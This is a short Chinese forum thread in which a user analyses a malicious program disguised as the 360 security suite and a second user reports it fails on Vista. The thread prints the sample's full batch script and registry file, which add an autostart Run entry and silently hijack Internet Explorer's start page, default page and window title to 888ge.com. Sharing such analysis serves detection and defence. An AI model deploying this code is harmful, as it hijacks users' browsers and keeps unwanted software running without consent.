初步确定是恶意程序了。。过主流杀软

yyylll66

c:\WINDOWS\system32\360安全卫士.EXE

在%temp%释放bt+4位数字.bat批处理文件

echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]>>tmp.reg
echo "360安全卫士"="c:\\WINDOWS\\system32\\360安全卫士.exe">>tmp.reg
echo [HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command]>>tmp.reg
echo @="\"C:\\Program Files\\Internet Explorer\\iexplore.exe\"http://www.888ge.com/?2">>tmp.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]>>tmp.reg
echo "Start Page"="http://www.888ge.com/?2">>tmp.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]>>tmp.reg
echo "Default_Page_URL"="http://www.888ge.com/?2">>tmp.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]>>tmp.reg
echo "Window Title"="上网先上八哥-888ge.com">>tmp.reg
regedit/s tmp.reg
del tmp.reg

并在360安全卫士.EXE路径的文件夹里释放一个tmp.reg文件，
内容：

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"360安全卫士"="c:\\WINDOWS\\system32\\360安全卫士.exe"
[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command]
@="\"C:\\Program Files\\Internet Explorer\\iexplore.exe\"http://www.888ge.com/?2"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page"="http://www.888ge.com/?2"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL"="http://www.888ge.com/?2"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Window Title"="上网先上八哥-888ge.com"


注册表就是改这些项目！~

woshijiqiren

汗 我vista下运行 什么都不写入 权限不够